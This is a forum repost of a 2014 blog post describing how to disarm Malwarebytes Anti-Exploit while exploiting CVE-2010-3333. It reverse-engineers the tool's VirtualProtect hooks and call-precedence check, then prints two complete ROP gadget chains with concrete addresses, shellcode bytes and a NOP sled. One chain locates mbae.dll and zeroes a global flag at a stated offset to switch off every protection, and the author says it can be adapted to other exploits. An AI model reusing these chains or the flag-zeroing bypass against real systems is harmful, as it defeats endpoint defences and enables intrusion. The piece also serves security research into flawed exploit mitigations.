Jump to content
Nytro

MBAE (Malware Bytes Anti Exploit) Disarm

Recommended Posts

Posted

[h=3]MBAE (Malware Bytes Anti Exploit) Disarm[/h]

Not very long ago, security industry shifted from malwares to exploits.

Though malware industry still dominates the market due to its sophistication and reach, exploits are nothing but the new sexy. Just like in old days antivirus were starting up, exploit detection systems are increasing nowadays and malware enthusiasts are shifting towards this trend. Exploits can get you more money, much much more than what malware authors get by selling their creations. Not to mention the fame that goes with exploit development (automatically being a whitehat, if you disclosed a 0day responsibly or not) is also more in quantity and won't feel embarrassing to tell others as compared to a malware author. While malware authors are always considered blackhats, exploit authors are born whitehats even though they do shady business. =)

Market trend gave away the two most used exploit detection free toolkits

1. EMET

2. MBAE

And despite the false positives and fake alerts, they both pack quite a punch.

After searching a while i found an article from offensive security which claimed to bypass EMET successfully. Though the method they used was out of the box, EMET doesn't get updated that regularly so its fine i guess.

EMET disarming By OffSec

TLDR: The logic behind this attack was a global switch which can be used to protect & unprotect applications. If you alter it, all protections go kaputt. In this blogpost i will be covering something similar to bypass all of MBAE's checks.

[h=3]Epilogue[/h] for the sake of reader i have already hosted the POC of mbae bypass at my Github Acc

POC: Github

Note: i have modified a POC i got from a public forum, and simply added Rop Gadgets.

[h=3]Prologue[/h] Kafeine had done quite a piece on malware bytes making them seem like a very different company offering a unique product.

malware.dontneedcoffee

[h=3]Story[/h] So i got my hands on MBAE.

Screen%2BShot%2B2014-12-09%2Bat%2B8.58.20%2BPM.png

Pretty nice UI ima.

Unlike most exploit authors, instead of working on a public heap corruption exploit i tried to execute my favourite and oldest exploit.

The very first i ever laid my hands on, CVE-2010-3333.

With html based exploits we have few advantages:

1. we can use DOM to check for presence of specific dll's (for detection of EMET or MBAE)

2. If we leverage information leak vuln, we can build a rop chain with static offsets from inside dll memory in runtime.

3. we can place strings on heap and address it, by relying on deterministic nature of heap.

Thus planting strings in ROP gets easy (as done by offsec in their disarming EMET article)

But in StackOverflows, only thing we have is EIP and 1 looooong ROP chain.

However good for us, CVE-2010-3333 works on Windows XP-7 without ROP. On windows 8, DEP is enforced so it crashes. Nevertheless we will circumvent all that later.

so i searched google for some public exploit POC, and i found one at a random forum.

moment i executed that sample, MBAE caught it. Upon investigation i found out that MBAE was enforcing DEP in all processes it protected. Thus from XP-7 we cannot execute this exploit without ROP. So i went ahead and asked mona to generate a Rop Chain for VirtualProtect.

Appending rop gadgets

0x78833e3c, # POP EAX # RETN

0x788011c0, # ptr to VirtualProtect()

0x788b53d1, # MOV EAX,DWORD PTR DS:[EAX] # RETN

0x788e4a48, # XCHG EAX,ESI # RETN

0x78832a79, # POP EBX # RETN

0x00000201, # 0x00000201-> ebx

0x7880a254, # POP EDX # RETN

0x00000040, # 0x00000040-> edx

0x78854775, # POP EBP # RETN

0x788b7b2b, # jmp esp

0x7889363e, # POP ECX # RETN

0x78922ad5, # &Writable location msxml5.dll

0x788fad49, # POP EDI # RETN

0x788880d4, # RETN (ROP NOP)

0x78833e3c, # POP EAX # RETN

0x90909090, # nop

0x788172ee, # PUSHAD # RETN

The final exploit should work in Enforced DEP.

However i was greeted by following upon detonation.

Screen%2BShot%2B2014-12-09%2Bat%2B8.58.29%2BPM.png

Time to open the box

Screen%2BShot%2B2014-12-09%2Bat%2B8.00.56%2BPM.png

VirtualProtect Seems Hooked

Screen%2BShot%2B2014-12-09%2Bat%2B8.01.15%2BPM.png

Screen%2BShot%2B2014-12-09%2Bat%2B8.01.57%2BPM.png

Nothing useful inside first routine

Screen%2BShot%2B2014-12-09%2Bat%2B8.04.16%2BPM.png

Interesting stuff

VirtualProtect seems protected by CallPrecedenceCheck from RopGuard

Screen%2BShot%2B2014-12-09%2Bat%2B8.05.24%2BPM.png

Moving on

Screen%2BShot%2B2014-12-09%2Bat%2B8.07.28%2BPM.png

after checking is performed

Screen%2BShot%2B2014-12-09%2Bat%2B8.07.54%2BPM.png

forward jump

Screen%2BShot%2B2014-12-09%2Bat%2B8.08.02%2BPM.png

Actual Routine Prologue

The automated systems i have seen by now perform nested hook filtering, meaning if they caught Kernelbase!VirtualProtect() they will skip Kernelbase!VirtualProtectEx() & Ntdll!ZwProtectVirtualMemory(). So it seems MBAE has only 1 protection which detects if return address was preceded by a call instruction. Lets see whats inside that protection then we can try to circumvent it.

Screen%2BShot%2B2014-12-10%2Bat%2B12.17.42%2BAM.png

I was surprised to see this code, judging by the look it seems the developers of this tool quite 'literally' copied the code from RopGuard. When i say quite literally i do mean literally, because apparently they dont know what this code does.

Allow me to give an insight

return address - 3 is compared to 0xE8 (opcode for 16bit call instruction)

if its equal then return a value which corresponds to legitimate reply.

return address - 5 is compared to 0xE8 (opcode for 32bit call instruction)

if its equal then return a value which corresponds to legitimate reply.

When the developers blindly copied this code they perhaps didn't knew that

1. if ROP gadget which jumps into hooked api has either -5th or -3rd byte 0xE8, the check is failing

2. all a person has to do is search for this pattern in binary [?E8][XX][?E8][XX][XX][C3] to bypass the check

3. exploit author can simply VirtualProtect and return into stack at a nop sled which can be preceded by 0xE8 since we very well control stack to defeat this check easily

4. This mistake is repeated with return address -7 being compared to 0x9A (opcode for FAR CALL) and return address - 5 being compared to 0x9A again. (opcode for FAR call but with 16bit address)

Blunder:

Leaving aside the mistakes it has, the code is meant to be written for 32bit binaries.

But apparently developers never bothered to check

1. If return address - 3 == 0xE8 && return address - 4 == 0x66 (prefix for 16bit call in 32bit address space) these two checks should be performed side by side for accuracy, but right now the check is

if return address - 3 ==0xE8 || return addresss - 5 ==0xE8.

2. DWORD*(return address - 4) + return address - 5 should be equal to VirtualProtect, Apparently developers of this tool checked if there is a call instruction before return address but didn't check if that call is leading to hooked API or not. (-_-) (>_<)

3. If you do call a 16bit address from a 32bit address space you can only call upto 0xFFFF, if detection was concerned, no legitimate or illegitimate code can ever call an API within 0xFFFF because dll's are mapped at higher addresses closer to 0x7fffffff, Thus this check is nearly useless for detection as its useful for potential candidates looking to find flaws in this method.

4. I am pretty sure the author of RopGuard meant to simply include 16bit and 32bit Rop check in 1 package but he meant to use them one at a time depending on application architecture. But who cares.

So it seems blind cope paste is not only done by engineering students, but by 'professional' developers also.

Screen%2BShot%2B2014-12-09%2Bat%2B8.14.35%2BPM.png

VirtualProtect Returns into stack preceded by handcrafted dummy 0xE8 bytes thus bypassing ROP detection from call precedence check.

While i crafted this chain by just altering 2 bytes off an already existing rop chain, i thought it would bypass MBAE completely. But it failed yet again.

So i dug deeper.

Screen%2BShot%2B2014-12-09%2Bat%2B8.08.13%2BPM.png

VirtualProtectEx is also hooked

Screen%2BShot%2B2014-12-09%2Bat%2B8.08.24%2BPM.png

inside hook

It seems that unlike usual methods of hooking 1 API and leaving its nested ones by using a global variable or a TLS entry for IPC, MBAE infact hooks all nested API's of VirtualProtect

and performs different checks on either levels. Thus there are more checks, and that is why i wasn't able to bypass MBAE when using previous ROP chain with 2 modified bytes.

Screen%2BShot%2B2014-12-09%2Bat%2B8.10.36%2BPM.png

VirtualProtectEx checking if lpAddress param of VirtualProtect is inside stack

Screen%2BShot%2B2014-12-09%2Bat%2B8.11.04%2BPM.png

Checks inside ZwProtectVirtualMemory

1. StackPivot Check

2.RopGuardCallPrecedenceCheck

3.Checking if stack is being made executable

Up until now, for VirtualProtect API there are only 3 protections which detect ROP.

There are more protections to check if api call is from shellcode, but i dont think detecting that is necessary because once you get opcode execution these petty checks can be circumvented by n number of measures.

one example being: changing PEB entry of loaded module to [x] and copying any PE header to shellcode -0x1000 address ([x])

which can be done in nearly 25 bytes using handcrafted optimized shellcode.

[h=3]One Byte Issue[/h] To defeat all these protections, i followed offsec's approach. There was a global switch, a fixed offset which decided the fate of MBAE's protections. in previous images you might see a reoccurring instruction.

cmp dword ptr ds:[<Magic_Offset>],0

je <mbae.LegitimateCall>

This magic offset is actually a dword but it has only 2 possible values.

0 or 1

if its 0 all protections are disabled and this check will jump over detection mechanisms.

if its 1 all protections are enabled and all checks will be performed with full functionality.

(another way to bypass MBAE's shellcode checks)

As of now December 10th 2014, this offset is 0x47C08.

Screen%2BShot%2B2014-12-09%2Bat%2B8.11.29%2BPM.png

protection check Highlighted

Now since we have a stack overflow, we cannot craft any data dynamically. So we have to perform a makeshift ROP chain which will somehow find mbae.dll's base address and then add offset to its value. Then moving null into that address. Then we can use our ROP chain used before.

After 20 minutes of mind boggling i came up with following rop chain

0x78833e3c, # POP EAX # RETN

0x78801108, # GetModuleHandle Address from IAT

0x78830e9a, # MOV EAX,[EAX] # RETN

0x788543e9, # XCHG EAX,EDX # RETN

0x7882ab5d, # PUSH ESP # POP ESI # RETN

0x788e4a48, # XCHG EAX,ESI # RETN

0x788079f0, # POP EBP # RETN

0x0000008c, # offset from esp pointing towards mbae.dll

0x788d0ba7, # ADD EAX,EBP # RETN # eax points to mbae.dll

0x7889363e, # POP ECX # RETN

0x7889363f, # RETN

0x788fad49, # POP EDI # RETN

0x7889363f, # RETN

0x7880126c, # POP ESI # RETN

0x7888e209, # ADD ESP,0xC

0x788172ee, # PUSHAD # RETN #EAX gets base address of mbae.dll

0x788079f0, # POP EBP # RETN

magic_offset,

0x788d0ba7, # ADD EAX,EBP # RETN # eax points to magic offset

0x7880A254, # POP EDX, RETN

0x00000000, # NULL

0x78907a82, # MOV [EAX],EDX # RETN

0x78833e3c, # POP EAX # RETN

0x788011c0, # ptr to VirtualProtect()

0x788b53d1, # MOV EAX,DWORD PTR DS:[EAX] # RETN

0x788e4a48, # XCHG EAX,ESI # RETN

0x78832a79, # POP EBX # RETN

0x00000201, # 0x00000201-> ebx

0x7880a254, # POP EDX # RETN

0x00000040, # 0x00000040-> edx

0x78854775, # POP EBP # RETN

0x788b7b2b, # jmp esp

0x7889363e, # POP ECX # RETN

0x78922ad5, # &Writable location msxml5.dll

0x788fad49, # POP EDI # RETN

0x788880d4, # RETN (ROP NOP)

0x78833e3c, # POP EAX # RETN

0x90909090, # nop

0x788172ee, # PUSHAD # RETN

data appended:

9090eb09 6d6261652e646c6c00 (mbae.dll string) 909090909090909090909090909090909090 (nop sled)

Since we had a stack overflow at our disposal, i had to embedd mbae.dll string in between nop sled, so ROP gadgets can take its address by reading esp. Had this been a Heap corruption vulnerability or a UAF, it would have been much more easy.

Nevertheless i managed to bypass MBAE in nearly 40 gadgets, which means not much stack space is wasted. This offset can be utilized in browser exploits in a better way, exploits have the power to detect if they are running under malware bytes or emet's protection by reading system dll's. Up until now they just exit if they are running under such an environment, But it seems they dont need to.

All an author has to do is simply change the gadgets as per exploit's requirement.

This gadget chain can be reproduced very easily for any other kind of exploit, since the gadgets i used are not at all complicated and can be found in any dll with a very good probability.

Afterwards this revelation, the exploit was fairly straightforward.

Screen%2BShot%2B2014-12-09%2Bat%2B8.06.48%2BPM.png

After disabling MBAE, ROP gadgets trying to mark stack as RWX

Screen%2BShot%2B2014-12-10%2Bat%2B12.33.45%2BAM.png

Et' Voila

Posted by r41p41 at 12:06

Sursa: Scrutiny from an Inquisitive mind: MBAE (Malware Bytes Anti Exploit) Disarm

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...